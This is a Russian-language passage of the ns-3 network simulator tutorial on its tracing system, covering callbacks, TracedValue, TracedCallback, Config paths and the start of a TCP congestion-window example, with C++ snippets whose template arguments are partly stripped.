Концептуально, система трассировки работает точно также. По сути, приемник трассировки является функцией обратного вызова. Когда приемник выражает интерес к получению событий трассировки, он добавляет себя в качестве обратного вызова в список обратных вызовов, хранящийся в источнике трассировки. Когда происходит интересующее событие, источник трассировки вызывает свой operator(...), подставляя ноль или больше аргументов. В конце концов operator(...) заходит в систему и делает нечто похожее на косвенный вызов, который вы только что видели, предоставляя ноль или более параметров, так же как выше вызов pfi передал бы целевой функции MyFunction один параметр.
Важное отличие, которое добавляет система трассировки, состоит в том, что для каждого источника трассировки существует внутренний список обратных вызовов. Вместо того, чтобы просто сделать один косвенный вызов, источник трассировки может выполнять несколько обратных вызовов. Когда приемник трассировки выражает интерес к уведомлениям от источника трассировки, он в по сути просто добавляет свою собственную функцию в его список обратных вызовов.
Если вам нужна более подробная информации о том, как это на самом деле устроено в ns-3, не стесняйтесь просматривать раздел «Обратный вызов» руководства ns-3.
#### Прогулка по fourth.cc
Мы предоставили некоторый код для реализации того, что действительно является самым простым примером трассировки, который можно собрать. Вы можете найти этот код в директории examples/tutorial как fourth.cc. Давайте пройдемся по нему:
```
/* -*- Mode:C++; c-file-style:"gnu"; indent-tabs-mode:nil; -*- */
/*
* This program is free software; you can redistribute it and/or modify
* it under the terms of the GNU General Public License version 2 as
* published by the Free Software Foundation;
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program; if not, write to the Free Software
* Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA
*/
#include "ns3/object.h"
#include "ns3/uinteger.h"
#include "ns3/traced-value.h"
#include "ns3/trace-source-accessor.h"
#include
using namespace ns3;
```
По большей части, этот код должен быть вам знаком. Как уже упоминалось выше, система трассировки интенсивно использует системы Object и Attribute, поэтому вам нужно будет их подключить. Первые два include явно включают в себя декларации для этих систем. Вы можете использовать заголовок основного модуля, чтобы подключить все одним файлом, но мы делаем здесь так, чтобы проиллюстрировать, насколько все просто на самом деле.
Файл traced-value.h содержит требуемые объявления для трассировки данных, которые подчиняются семантике значений(Если объект можно копировать и присваивать, то о нем говорят, что он обладает семантикой значений.).
Вообще, семантика значения просто означает, что вы можете передавать сам объект, а не передавать адрес объекта. На самом деле все это означает, что вы сможете простым путём отслеживать все изменения, внесенные в TracedValue.
Поскольку система трассировки интегрирована с атрибутами (Atrrribute), а атрибуты работают с объектами Object, то должен существовать объект ns-3 со встроенным источником трассировки. Следующий фрагмент кода объявляет и определяет простой объект, с которым мы сможем работать.
```
class MyObject : public Object
{
public:
static TypeId GetTypeId (void)
{
static TypeId tid = TypeId ("MyObject")
.SetParent (Object::GetTypeId ())
.SetGroupName ("MyGroup")
.AddConstructor ()
.AddTraceSource ("MyInteger",
"An integer value to trace.",
MakeTraceSourceAccessor (&MyObject::m\_myInt),
"ns3::TracedValueCallback::Int32");
return tid;
}
MyObject () {}
TracedValue m\_myInt;
};
```
Выше приведены две важные в отношении трассировки строки кода .AddTraceSource и объявление TracedValue m\_myInt.
AddTraceSource предоставляет «крючки» (хуки), используемые для подключения источника трассировки к внешнему миру через систему Config. Первый аргумент — это имя данного источника трассировки, которое делает его видимым в системе Config. Второй аргумент — это строка справки. Теперь посмотрим на третий аргумент, а точнее на аргумент третьего аргумента: &MyObject::m\_myInt. Это TracedValue, который будучи добавленным в класс, всегда становится членом данных класса. Последний аргумент — это имя typedef для типа TracedValue в текстовом виде. Это используется для корректной генерации в документации сигнатуры функции обратного вызова, что особенно полезно для более общих типов обратных вызовов.
Объявление TracedValue<> предоставляет инфраструктуру, которая управляет обработкой обратного вызова. Каждый раз, когда «подопечная» переменная изменяется, механизм TracedValue будет предоставлять как старое, так и новое значение этой переменной, в данном случае значение int32\_t. Функция приемника трассировки traceSink для такого TracedValue должна иметь сигнатуру
```
void (* traceSink)(int32_t oldValue, int32_t newValue);
```
Все приемники трассировки, подключенные к этому источнику трассировки, должны иметь такую сигнатуру. Ниже мы обсудим, как вы можете выяснить требуемую сигнатуру обратного вызова в других случаях.
Продолжая просматривать fourth.cc, мы видим:
```
void
IntTrace (int32_t oldValue, int32_t newValue)
{
std::cout << "Traced " << oldValue << " to " << newValue << std::endl;
}
```
Это подходящая декларация приемника трассировки. Она напрямую соответствует сигнатуре функции обратного вызова. Как только он будет подключен, эта функция начнет вызываться при каждом изменении TracedValue.
Мы посмотрели на источник и приемник трасс. Остается код для подключения источника к приемнику, который расположен в main():
```
int
main (int argc, char *argv[])
{
Ptr myObject = CreateObject ();
myObject->TraceConnectWithoutContext ("MyInteger", MakeCallback(&IntTrace));
myObject->m\_myInt = 1234;
}
```
Здесь мы сначала создаем экземпляр MyObject, в котором имеется источник трассировки.
Следующий шаг, TraceConnectWithoutContext, формирует соединение между источником трассировки и и приемником. Первый аргумент — это просто имя источника трассировки «MyInteger», которое мы видели выше. Обратите внимание на шаблонную функцию MakeCallback. Эта функция реализует магию, необходимую для создания базового объекта обратного вызова ns-3 и связывания его с функцией IntTrace. TraceConnect устанавливает связь между предоставленной функцией и перегруженным operator() в трассируемой переменной, на которую ссылается атрибут «MyInteger». После того, как эта связь установлена, источник трассировки будет запускать предоставленную вами функцию обратного вызова.
Код для выполнения всего этого, конечно, нетривиален, но суть в том, что вы делаете что-то похожее на приведенный выше пример pfi(), который вызывается источником трассировки. Объявление TracedValue m\_myInt; в самом объекте создает магию, необходимую для обеспечения перегрузки оператора присваивания, которые будут использовать operator() для фактического обратного вызова с нужными параметрами. Строка .AddTraceSource ворожит соединение обратного вызова с системой Config, а TraceConnectWithoutContext колдует над подключением вашей функции к источнику трассировки, который определен именем атрибута.
Давайте пока не будем говорить о контексте.
Наконец, строку, присваивающую значение m\_myInt:
```
myObject->m_myInt = 1234;
```
следует понимать как вызов operator= для переменной-члена m\_myInt с целым числом 1234 передаваемым в качестве параметра.
Поскольку m\_myInt является TracedValue, этот оператор определен для выполнения обратного вызова, который возвращает void и принимает два целочисленные значения в качестве параметров — старое и новое значения для рассматриваемого целого числа. Это функция с той же сигнатурой, что и у определенной нами функции обратного вызова — IntTrace.
Подводя итог, можно сказать, что источник трассировки — это, по сути, переменная, которая хранит список обратных вызовов. Функция трассировки используется как цель обратного вызова. Информационные системы типов Attribute и Object используются для обеспечения возможности подключения источников трассировки к приемникам трассировки. Акт «воздействия» на источник трассировки — это выполнение оператора источника трассировки, который запускает обратные вызовы. Они используют данные переданные источником как параметры обратного вызова.
Если вы сейчас скомпилируете и запустите этот пример,
```
$ ./waf --run fourth
```
вы увидите, что выходные данные из функции IntTrace будут выведены сразу после доступа к источнику трассировки:
```
Traced 0 to 1234
```
Когда мы выполнили код, источник трассировки сработал и автоматически передал для трассировки значения переменной до и после. Функция IntTrace затем распечатывает это в стандартный вывод.
```
myObject-> m_myInt = 1234;
```
### 7.2.2 Подключение через Config
Вызов TraceConnectWithoutContext, показанный выше в простом примере, на самом деле очень редко используется в системе. В более общем случае для выбора источника трассировки используется подсистема Config с применением так называемого Config‑пути. Мы видели пример этого в предыдущем разделе, где при эксперименте с third.cc мы подключили событие «CourseChange».
Напомним, что при моделировании мы определили приемник трассировки для печати информации об изменении курса в модели мобильности. Теперь должно быть намного понятнее, что делает эта функция:
```
void
CourseChange (std::string context, Ptr model)
{
Vector position = model->GetPosition ();
NS\_LOG\_UNCOND (context <<
" x = " << position.x << ", y = " << position.y);
}
```
Когда мы подключали источник трассировки «CourseChange» к указанному выше приемнику, то при организации соединения между источником трассировки по умолчанию и новым приемником использовали Config-путь для указания источника:
```
std::ostringstream oss;
oss << "/NodeList/"
<< wifiStaNodes.Get (nWifi - 1)->GetId ()
<< "/$ns3::MobilityModel/CourseChange";
Config::Connect (oss.str (), MakeCallback (&CourseChange));
```
Давайте попробуем разобраться в том, что может вызвать затруднение в понимании этого кода. Предположим, что номер узла, возвращаемый функцией GetId (), равен «7». В этом случае показанный выше путь будет содержать
```
"/NodeList/7/$ns3::MobilityModel/CourseChange"
```
Последний сегмент Config-пути должен быть атрибутом объекта. На самом деле, если у вас был указатель на Object который имеет атрибут «CourseChange», вы можете написать так же, как мы это делали в предыдущем примере. Вам к настоящему времени известно, что мы обычно храним указатели на наши узлы в NodeContainer. В примере third.cc интересующие узлы хранятся в wifiStaNodes NodeContainer. На самом деле, когда мы выстраивали путь, то использовали этот контейнер, чтобы получить Ptr , который мы использовали для вызова GetId (). Мы могли бы использовать этот Ptr для вызова. Подключите метод напрямую:
```
Ptr theObject = wifiStaNodes.Get (nWifi - 1);
theObject->TraceConnectWithoutContext ("CourseChange", MakeCallback (&CourseChange));
```
В примере third.cc мы действительно хотели, чтобы дополнительный «контекст» был доставлен вместе с параметрами обратным вызова (которые будут объяснены ниже), чтобы мы могли использовать следующий эквивалентный код:
```
Ptr theObject = wifiStaNodes.Get (nWifi - 1);
theObject->TraceConnect ("CourseChange", MakeCallback (&CourseChange));
```
Получается, что внутренний код для Config::ConnectWithoutContext и Config::Connect на самом деле находится в Ptr и вызывает на самом низком уровне соответствующий метод TraceConnect.
Функционал Config принимает путь, представляющий цепочку указателей объектов. Каждый элемент пути соответствует объекту Attribute. Последний элемент является интересующим атрибутом, чтобы его можно было найти должны быть указаны предыдущие элементы. Код Config анализирует и «идет» по этому пути, пока не дойдет до последнего элемента. Затем интерпретирует его в качестве атрибута последнего объекта, который он нашел при движении по пути.
Функционал Config затем вызывает для конечного объекта соответствующий метод TraceConnect или TraceConnectWithoutContext. Давайте посмотрим на происходящее более подробно. Ведущий символ «/» в пути относится к так называемому пространству имен. Одно из предопределенных пространств имен в конфигурации системы это «NodeList», которое представляет собой список всех узлов в симуляции. Элементы в списке обозначены индексами (вспомните индексы начинаются с 0), поэтому «/NodeList/7» относится к восьмому узлу в списке узлов, созданных во время моделирования. Эта ссылка на самом деле является Ptr и, следовательно, является подклассом ns3::Object.
Как описано в разделе «Объектная модель» руководства ns-3, мы широко используем агрегацию объектов. Этот позволяет нам формировать ассоциации между различными объектами без создания сложного дерева наследования или предопределения какие объекты будут частью узла. Каждый объект в агрегации может быть достигнут из других объектов.
В нашем примере следующий пройденный сегмент пути начинается с символа «$». Это указывает на систему конфигурации, и на то, что сегмент является именем типа объекта, поэтому для поиска этого типа должен выполняться вызов GetObject. Получается, что MobilityHelper, используемый в third.cc, объединяет или связывает модель мобильности с каждым беспроводным узлом. Когда вы добавляете «$», вы запрашиваете другой объект, который предположительно был ранее агрегирован. Вы можете понимать это как переключение указателей с исходного Ptr , как указано в «/NodeList/7», на связанная с ним модель мобильности, которая имеет тип ns3::MobilityModel. Если вы знакомы с GetObject, мы попросили систему сделать следующее:
```
Ptr mobilityModel = node->GetObject ()
```
Теперь мы находимся на последнем объекте пути, поэтому мы обращаем наше внимание на атрибуты этого объекта. Класс MobilityModel определяет атрибут под названием «CourseChange». Вы можете увидеть это, посмотрев на исходный код в src/mobility/model/mobility-model.cc и поискав «CourseChange» в вашем любимом редакторе. Вы должны найти код
```
.AddTraceSource ("CourseChange",
"The value of the position and/or velocity vector changed",
MakeTraceSourceAccessor (&MobilityModel::m_courseChangeTrace),
"ns3::MobilityModel::CourseChangeCallback")
```
который должен выглядеть очень знакомым на данный момент. Если вы поищете соответствующее объявление базовой трассируемой переменной в mobility-model.h, то увидите
```
TracedCallback > m\_courseChangeTrace;
```
Объявление типа TracedCallback идентифицирует m\_courseChangeTrace как специальный список обратных вызовов, которые можно подключить с помощью функций Config, описанных выше. В заголовочном файле также есть typedef для сигнатуры функции обратного вызова:
```
typedef void (* CourseChangeCallback)(Ptr \* model);
```
Класс MobilityModel разработан как базовый класс, обеспечивающий общий интерфейс для всех создаваемых подклассов. Если вы выполните поиск до конца файла, вы увидите метод с именем NotifyCourseChange ():
```
void
MobilityModel::NotifyCourseChange (void) const
{
m_courseChangeTrace(this);
}
```
Производные классы будут вызывать этот метод всякий раз, когда они изменяют курс, чтобы поддержать трассировку. Этот метод вызывает operator() в базовом m\_courseChangeTrace, который, в свою очередь, вызовет все зарегистрированные обратные вызовы, всех приемников трассировки, которые, путем вызова функции Config, зарегистрировали свой интерес к источнику.
Итак, в примере third.cc, который мы рассмотрели, всякий раз, когда в одном из установленных экземпляров RandomWalk2dMobilityModel, будет вызов NotifyCourseChange(), который вызывает в базовом классе MobilityModel. Как видно выше, он вызывает operator() для m\_courseChangeTrace, который, в свою очередь, вызывает любые зарегистрированные потоки трассировки. В этом примере единственным кодом, регистрирующим интерес, был код, который предоставил Config-путь. Поэтому функция CourseChange, которая была подключена с узла номер семь, будет единственным обратным вызовом.
Последний кусок пазла — «контекст». Напомним, что мы видели результат, похожий на следующий из third.cc:
```
/NodeList/7/$ns3::MobilityModel/CourseChange x = 7.27897, y =
2.22677
```
Первая часть вывода — это контекст. Это просто путь, по которому в конфигурационном коде расположен источник трассировки. В рассматриваемом нами случае в системе может быть любое количество источников на любое количество узлов с моделями мобильности. Должен быть какой-то способ определить, какой источник трассировки запустил обратный вызов на самом деле. Самый простой способ — подключиться с помощью Config::Connect вместо Config::ConnectWithoutContext.
### 7.2.3 Поиск источников
У новых пользователей системы трассировки неизбежно возникают вопросы.
Первый вопрос:
«Хорошо, я знаю, что в ядре симуляции должны быть источники трассировки, но как мне узнать, какие из них мне доступны?»
Второй вопрос:
«Хорошо, я нашел источник трассировки, как мне определить Config-путь, который нужно использовать для подключения к нему?»
Третий вопрос:
«Хорошо, я нашел источник трассировки и Config-путь, как мне выяснить, каковы должны быть у моей функции обратного вызова возвращаемый тип и формальные аргументы?»
Четвертый вопрос:
«Хорошо, я собрал все это и получил невероятно странное сообщение об ошибке, что оно означает?"
Мы рассмотрим каждый из них по очереди.
### 7.2.4 Доступные источники
Хорошо, я знаю, что в ядре симуляции должны быть источники трассировки, но как мне узнать, какие из них мне доступны?
Ответ на первый вопрос можно найти в документации по API ns-3. Если вы зайдете на сайт проекта ns-3, в панели навигации вы найдете ссылку «Documentation». Если вы выберете эту ссылку, то попадете на наш страницу документации. Там есть ссылка на «Latest Release», который приведет вас к документации для последней стабильной версии релиза ns-3. Если вы кликните ссылку «Documentation API», то окажетесь на странице документации к API ns-3. На боковой панели вы должны увидеть иерархию, которая начинается так:
* ns-3
* ns-3 Documentation
* All TraceSources
* All Attributes
* All GlobalValues
В этом списке нас интересует «All TraceSources» («Все источники трассировки»). Идите дальше и выберите эту ссылку. Вы увидите, как и следовало ожидать, список всех доступных в ns-3 источников трассировки. Например, прокрутив вниз до ns3::MobilityModel, вы найдете запись
```
CourseChange: The value of the position and/or velocity vector changed
```
Вы должны узнать в ней источник трассировки, который мы использовали в примере third.cc. Будет полезно просмотреть весь список.
### 7.2.5 Config-пути
Хорошо, я нашел источник трассировки, как мне определить Config-путь, который нужно использовать для подключения к нему?
Если вы знаете, какой объект вас интересует, то для этого класса в разделе «Detailed Description» («Подробное описание») будут перечислены все доступные источники трассировки. Например, начиная со списка «All TraceSources», нажмите на ссылку ns3::MobilityModel, который приведет вас к документации для класса MobilityModel. Почти на самом верху страницы находится строка с кратким описанием класса, заканчивающаяся ссылкой «More…» («Далее…»). Нажмите на эту ссылку, чтобы пропустить сводку API и перейти к “Detailed Description” («Подробное описание») класса. В конце описания будет три (или менее) списка:
* Config Paths: список типичных Config-путей для этого класса.
* Attributes: список всех атрибутов, предоставленных этим классом.
* TraceSources: список всех источников трассировки, доступных из этого класса.
Обсудим сначала Config-пути. Предположим, что вы только что нашли источник трассировки «CourseChange» в списке «All TraceSources», и вы хотите выяснить, как подключиться к нему. Вы знаете (опять же из примера third.cc), что используется ns3::RandomWalk2dMobilityModel. Поэтому либо нажмите на имя класса в списке «All TraceSources», либо найдите ns3::RandomWalk2dMobilityModel в “Class List” («Список классов»). В любом случае, теперь вы должны увидеть страницу «ns3::RandomWalk2dMobilityModel Class».
Если вы теперь прокрутите вниз до раздела «Detailed Description» («Подробное описание»), после сводного списка методов и атрибутов класса (или просто нажмите на ссылку «More…» («Далее…») в конце краткого описания класса в верхней части страницы), вы увидите общую документацию класса. Продолжая прокручивать страницу вниз, найдите список «Config Paths»(«Config-пути»):
#### Config-пути
Модель ns3::RandomWalk2dMobilityModel доступна по путям Config::Set и Config::Connect:
* «/ NodeList / [i] / $ ns3 :: MobilityModel / $ ns3 :: RandomWalk2dMobilityModel»
В документации рассказывается, как добраться до объекта
RandomWalk2dMobilityModel. Сравните строку выше со строкой, которую мы фактически использовали в примере кода:
```
"/NodeList/7/$ns3::MobilityModel"
```
Разница заключается в том, что в строке, найденной в документации, подразумеваются два вызова GetObject. Первый запросит агрегацию базового класса для $ns3::MobilityModel. Второй используется для приведения базового класса $ns3::RandomWalk2dMobilityModel к конкретной реализации класса. Документация показывает вам обе эти операции. Оказывается, что искомый источник трассировки находится фактически в базовом классе.
Просматривая далее список источников трассировки в разделе «Detailed Description» («Подробное описание») вы обнаружите текст:
«No TraceSources are defined for this type.» (Источники трассировки для этого типа не определены .)
TraceSources, определенны в родительском классе ‘‘ns3::MobilityModel‘‘
• CourseChange: значение положения и / или вектора скорости изменилось.
Сигнатура обратного вызова:
```
ns3::MobilityModel::CourseChangeCallback
```
Это именно то, что вам нужно было узнать. Интересующий вас источник трассировки находится в ns3::MobilityModel (которую вы знаете в любом случае). Интересно, что этот фрагмент API-документации говорит вам о том, что вам не нужен Config-путь выше, чтобы добраться до конкретного класса, поскольку источник трассировки фактически находится в базовом классе. Следовательно дополнительный GetObject не требуется, и вы просто используете путь:
```
"/NodeList/[i]/$ns3::MobilityModel"
```
который в точности совпадает с путем в примере:
```
"/NodeList/7/$ns3::MobilityModel"
```
Кроме того, еще один способ получить Config-путь — это поискать в базе кода ns-3 у того, кто уже догадался как это сделать. Вы всегда должны пытаться скопировать чужой рабочий код, прежде чем начать писать свой собственный. Попробуйте что-то вроде:
```
$ find . -name '*.cc' | xargs grep CourseChange | grep Connect
```
и вы можете найти свой ответ вместе с рабочим кодом. Например, в этом случае src/mobility/examples/ В main-random-topology.cc есть то, что только и ждет, чтобы вы его использовали:
```
Config::Connect ("/NodeList/*/$ns3::MobilityModel/CourseChange",
MakeCallback (&CourseChange));
```
Мы скоро вернемся к этому примеру.
### 7.2.6 Сигнатуры обратных вызовов
Хорошо, я нашел источник трассировки и Config-путь, как мне выяснить, возвращаемый тип и какие формальные аргументы должны быть у моей функции обратного вызова?
Самый простой способ — изучить сигнатуру обратного вызова typedef, которая указана в «сигнатуре обратного вызова» трассировки. Источник в «Detailed Description» для класса, как показано выше.
Повторяя запись источника трассировки «CourseChange» из
ns3::RandomWalk2dMobilityModel, мы имеем:
* CourseChange: значение положения и / или вектора скорости изменилось.
Сигнатура обратного вызова:
```
ns3::MobilityModel::CourseChangeCallback
```
Сигнатура обратного вызова дается как ссылка на соответствующий typedef, где мы находим
```
typedef void (* CourseChangeCallback) (std :: string context,
Ptr \* model);
```
cигнатур для уведомлений об изменении курса TracedCallback.
Если обратный вызов подключен с использованием ConnectWithoutContext, то пропустите аргумент context из сигнатуры.
**Параметры:**
[in] context Строка контекста, предоставляемая источником трассировки.
[in] model модель MobilityModel, которая меняет курс.
Как и ранее, чтобы увидеть пример использования, примените grep к кодовой базе ns-3. Пример выше, из src/mobility/examples/main-random-topology.cc, соединяет источник трассировки CourseChange с функцией CourseChange в том же файле:
```
static void
CourseChange (std::string context, Ptr model)
{
...
}
```
Обратите внимание, что эта функция:
* Принимает строковый аргумент «context», который мы опишем через минуту. (Если обратный вызов подключен с использованием функции ConnectWithoutContext аргумент контекста будет пропущен.)
* Имеет MobilityModel как последний аргумент (или как единственный аргумент, если используется ConnectWithoutContext).
* Возвращает void.
Если, случайно, сигнатура обратного вызова не была задокументирована, и нет рабочих примеров, определение правильной сигнатуры функции обратного вызова может сделаться сложной задачей — потребуется разобраться в исходном коде.
Прежде чем приступить к запуску кода, я скажу вам простой способ выяснить это: возвращаемое значение вашего обратного вызова всегда будет void. Формальный список параметров для TracedCallback можно найти в объявлении списке параметров шаблона. Напомним, что для нашего текущего примера он в mobility-model.h, где мы ранее нашли:
```
TracedCallback > m\_courseChangeTrace;
```
Существует однозначное соответствие между списком параметров шаблона в объявлении и формальными аргументами функции обратного вызова. Здесь есть один параметр шаблона, которым является Ptr . Этот говорит вам, что нужна функция, которая возвращает void и принимает Ptr . Например:
```
void
CourseChange (Ptr model)
{
...
}
```
Это все, что нужно, если вы хотите использовать
Config::ConnectWithoutContext. Если вам необходим контекст, то нужен Config::Connect и используйте функцию обратного вызова, которая принимает строковый контекст, и с ним аргументы шаблона:
```
void
CourseChange (std::string context, Ptr model)
{
...
}
```
Если вы хотите быть уверенным, что функция CourseChangeCallback видна только в вашем локальном файле, то можете добавить ключевое слово static:
```
static void
CourseChange (std::string path, Ptr model)
{
...
}
```
это именно то, что мы использовали в примере third.cc.
#### Реализация
Этот раздел не является обязательным. Это будет нелегкое путешествие, особенно для тех, кто не знаком с деталями шаблонов. Однако, если вы справитесь с ним, у вас будет очень хорошее понимание многих низкоуровневых идиом ns-3.
Итак, еще раз, давайте выясним, какая сигнатура функции обратного вызова требуется для источника трассировки «CourseChange». Этот будет мучительно, но вам нужно сделать это только один раз. После того, как вы пройдете через это, вы сможете просто посмотреть на TracedCallback и все понять.
Первое, на что нам нужно обратить внимание — это объявление источника трассировки. Напомним, что оно в mobility-model.h, где мы ранее нашли:
```
TracedCallback > m\_courseChangeTrace;
```
Это объявление для шаблона. Параметр шаблона находится внутри угловых скобок, поэтому мы действительно заинтересованы выяснить, что это за TracedCallback <>. Если вы абсолютно не знаете, где это может быть найдено, то grep вам в помощь.
Возможно, нас заинтересуют некоторые объявления в исходнике ns-3, поэтому сначала перейдем в src директорию. Затем мы знаем, что это объявление должно быть в каком-то заголовочном файле, поэтому просто запустите grep, используя:
```
$ find . -name '*.h' | xargs grep TracedCallback
```
Вы увидите, как пролетят 303 строки (чтобы узнать, насколько это ужасно, я перенаправил вывод в wc). Хотя это может показаться слишком много, но на самом деле это не много. Просто пропустите вывод через more и начните просматривать через него. В содержимом первой страницы вы увидите подозрительно похожие на шаблоны строки.
```
TracedCallback::TracedCallback ()
TracedCallback::ConnectWithoutContext (c ...
TracedCallback::Connect (const CallbackB ...
TracedCallback::DisconnectWithoutContext ...
TracedCallback::Disconnect (const Callba ...
TracedCallback::operator() (void) const ...
TracedCallback::operator() (T1 a1) const ...
TracedCallback::operator() (T1 a1, T2 a2 ...
TracedCallback::operator() (T1 a1, T2 a2 ...
TracedCallback::operator() (T1 a1, T2 a2 ...
TracedCallback::operator() (T1 a1, T2 a2 ...
TracedCallback::operator() (T1 a1, T2 a2 ...
TracedCallback::operator() (T1 a1, T2 a2 ...
```
Оказывается, все это извлечено из заголовочного файла traced-callback.h, который называется очень многообещающе. Вы можете затем заглянуть в mobility-model.h и увидите, что есть строка, которая подтверждает эту догадку:
```
#include "ns3/traced-callback.h"
```
Конечно, вы могли бы подойти к этому с другой стороны и начать с рассмотрения включений в mobility-model.h и заметив включение traced-callback.h сделать вывод, что это как раз нужный файл.
В любом случае, следующий шаг — взглянуть на src/core/model/traced-callback.h в вашем любимом редакторе, чтобы узнать, что происходит.
Вы увидите комментарий в верхней части файла, который должен утешить:
An ns3::TracedCallback has almost exactly the same API as a normal ns3::Callback but instead of forwarding calls to a single function (as an ns3::Callback normally does), it forwards calls to a chain of ns3::Callback.
Перевод:
Ns3::TracedCallback имеет почти тот же API, что и обычный ns3::Callback, но вместо переадресации вызова одной функции (как это обычно делает ns3::Callback), она перенаправляет вызовы в цепочку состоящую из ns3::Callback.
Это должно звучать очень знакомо и показать, что вы на правильном пути.
Сразу после этого комментария вы обнаружите
```
template
class TracedCallback
{
...
```
Это говорит о том, что TracedCallback является шаблонным классом. Он имеет восемь возможных типов параметров со значениями по умолчанию. Вернитесь и сравните это с объявлением, которое вы пытаетесь понять:
```
TracedCallback > m\_courseChangeTrace;
```
Имя типа
```
typename T1
```
в шаблонном объявлении класса соответствует Ptr в декларации выше. Все остальные параметры типа остаются по умолчанию. Изучение конструктора расскажет вам немного. Единственное место, где вы видели связь между вашей функцией обратного вызова и системой трассировки находится в функциях Connect и ConnectWithoutContext. Если вы прокрутите вниз, вы увидите метод
ConnectWithoutContext:
```
template
void
TracedCallback::ConnectWithoutContext ...
{
Callback cb;
cb.Assign (callback);
m\_callbackList.push\_back (cb);
}
```
Вы сейчас в логове зверя. Когда объявленный выше шаблон инстанциируется, компилятор заменяет T1 на Ptr .
```
void
TracedCallback::ConnectWithoutContext ... cb
{
Callback > cb;
cb.Assign (callback);
m\_callbackList.push\_back (cb);
}
```
Теперь вы можете увидеть реализацию всего, о чем мы говорили. Код создает Callback нужного типа и присваивает ему указатель на вашу функцию. Это эквивалент pfi = MyFunction, которую мы обсуждали в начале этого раздела. Затем код добавляет функцию обратного вызова в список обратных вызовов для этого источника. Осталось только посмотреть на определение обратного вызова. Используя тот же трюк с grep, который мы использовали для поиска TracedCallback, вы сможете найти файл ./core/callback.h, который нам нужен.
Если вы посмотрите в конец файла, вы увидите много, возможно, почти непонятного шаблонного кода. Вы можете в конце концов, обратиться к API документации для шаблонного класса Callback. К счастью, там есть кое-какие слова:
Шаблонный класс обратного вызова Callback.
Этот шаблонный класс реализует паттерн проектирования Functor. Он используется для объявления типа обратного вызова:
* первый обязательный аргумент шаблона представляет тип, возвращаемый обратным вызовом.
* остальные (необязательные) аргументы шаблона представляют тип последующих аргументов обратного вызова.
* поддерживается до девяти аргументов.
Попытаемся выяснить, что означает объявление:
```
Callback > cb;
```
Сейчас мы в состоянии понять, что первый (обязательный) аргумент шаблона, void, представляет тип возвращаемый обратным вызовом. Второй (необязательный) аргумент шаблона Ptr представляет тип первого аргумента для обратного вызова.
Рассматриваемый обратный вызов — ваша функция для получения событий трассировки. Отсюда можно сделать вывод, что вам нужна функция который возвращает void и принимает Ptr . Например,
```
void
CourseChangeCallback (Ptr model)
{
...
}
```
Это все, что вам понадобиться, если вы хотите применить Config::ConnectWithoutContext. Если вам нужен контекст, то вам нужно применить
Config::Connect и использовать функцию обратного вызова, которая принимает строковый контекст. Вот почему, функция Connect предоставит вам контекст. Вам понадобиться:
```
void
CourseChangeCallback (std::string context, Ptr model)
{
...
}
```
Если вы хотите, чтобы ваш CourseChangeCallback был виден только в вашем локальном файле, то можете добавить ключевое слово
```
static
```
:
```
static void
CourseChangeCallback (std::string path, Ptr model)
{
...
}
```
это именно то, что мы использовали в примере third.cc. Возможно, теперь вы должны вернуться и перечитать предыдущий раздел (поверьте мне на слово). Если вы заинтересованы в более подробной информации о реализации Callbacks, не стесняйтесь взглянуть на руководство по эксплуатации ns-3. Они являются одной из наиболее часто используемых конструкций в низкоуровневых частях ns-3. Это, на мой взгляд, довольно элегантная вещь.
### 7.2.7 TracedValue
Ранее, в этом разделе мы представили простой фрагмент кода, который использовал TracedValue для демонстрации базового трассирующего кода. Мы разобрались, что такое TracedValue и как найти тип возвращаемого значения и формальные аргументы для обратного вызова. Как мы уже упоминали, файл traced-value.h содержит необходимые объявления для трассировки данных, которые подчиняются семантике значения. В общем случае семантика значений означает, что вы можете передавать сам объект, а не передавать адрес объекта. Мы расширяем это требование, чтобы включить полный набор операторов в стиле присваивания, которые предопределены для типов простых старых данных (plain old data — POD):
| |
| --- |
| оператор= (присвоение) |
| оператор\*= | оператор/= |
| оператор+= | оператор-= |
| оператор++ (и префикс и постфикс) |
| оператор-- (и префикс и постфикс) |
| оператор<<= | оператор>>= |
| оператор&= | оператор|= |
| оператор%= | оператор^= |
На самом деле все это означает, что в объекте C++, который обладает семантикой значения, вы сможете отслеживать все изменения, сделанные с помощью этих операторов.
Объявление TracedValue<>, которое мы видели выше, обеспечивает инфраструктуру, которая перегружает упомянутые выше операторы и управляет процессом обратного вызова. При использовании любого из вышеперечисленных операторов с TracedValue он обеспечит как старое и так новое значение этой переменной, в данном случае значение int32\_t. При результату инспекции объявления TracedValue мы знаем, что функция приемника трассировки будет иметь аргументы (int32\_t oldValue, int32\_t newValue). Тип возвращаемый функцией обратного вызова TracedValue всегда void, поэтому ожидаемая сигнатура функции обратного вызова для приемника traceSink будет:
```
void (* traceSink)(int32_t oldValue, int32_t newValue);
```
.AddTraceSource в методе GetTypeId предоставляет «ловушки», используемые для подключения источника трассировки к внешнему миру через систему Config. Мы уже обсуждали первые три аргумента AddTraceSource: имя атрибута для системы Config, строка справки и адрес члена данных класса TracedValue. Последний строковый аргумент, «ns3::TracedValueCallback::Int32» в примере, является именем typedef для сигнатуры функции обратного вызова. Мы требуем, чтобы эти подписи были определены, и даем полное имя типа AddTraceSource, поэтому документация API может связать источник трассировки с сигнатурой функции. Для TracedValue сигнатура простая; для TracedCallbacks, как мы убедились, действительно помогает документация к API.
7.3 Реальный пример
-------------------
Давайте рассмотрим пример из одной из самых известных книг по TCP. «Иллюстрированный TCP/IP, том 1: Протоколы» У. Ричарда Стивенса — это классика. Я просто открыл книгу и наткнулся на стр. 366 на хороший график зависимости окна заторов и порядковых номеров от времени. Стивенс называет его так: «Рисунок 21.10. Значение cwnd и порядковый номер отправки при передаче данных». Давайте просто воссоздадим cwnd-часть этого графика в ns-3, используя систему трассировки и gnuplot.
### 7.3.1 Доступные источники
Первое, о чем нужно подумать, так это о способе которым мы хотим получить данные. Что нам нужно оттрассировать? Итак, давайте посмотрим «All Trace Sources», чтобы увидеть, с чем нам нужно работать. Напомним, что это можно найти в документации API ns-3. Если вы прокрутите список, то в конечном итоге найдете:
#### ns3 :: TcpSocketBase
* **CongestionWindow**: окно заторов TCP-соединения
* **SlowStartThreshold**: порог медленного запуска TCP (в байтах)
Оказывается, что реализация TCP ns-3 живет (в основном) в файле
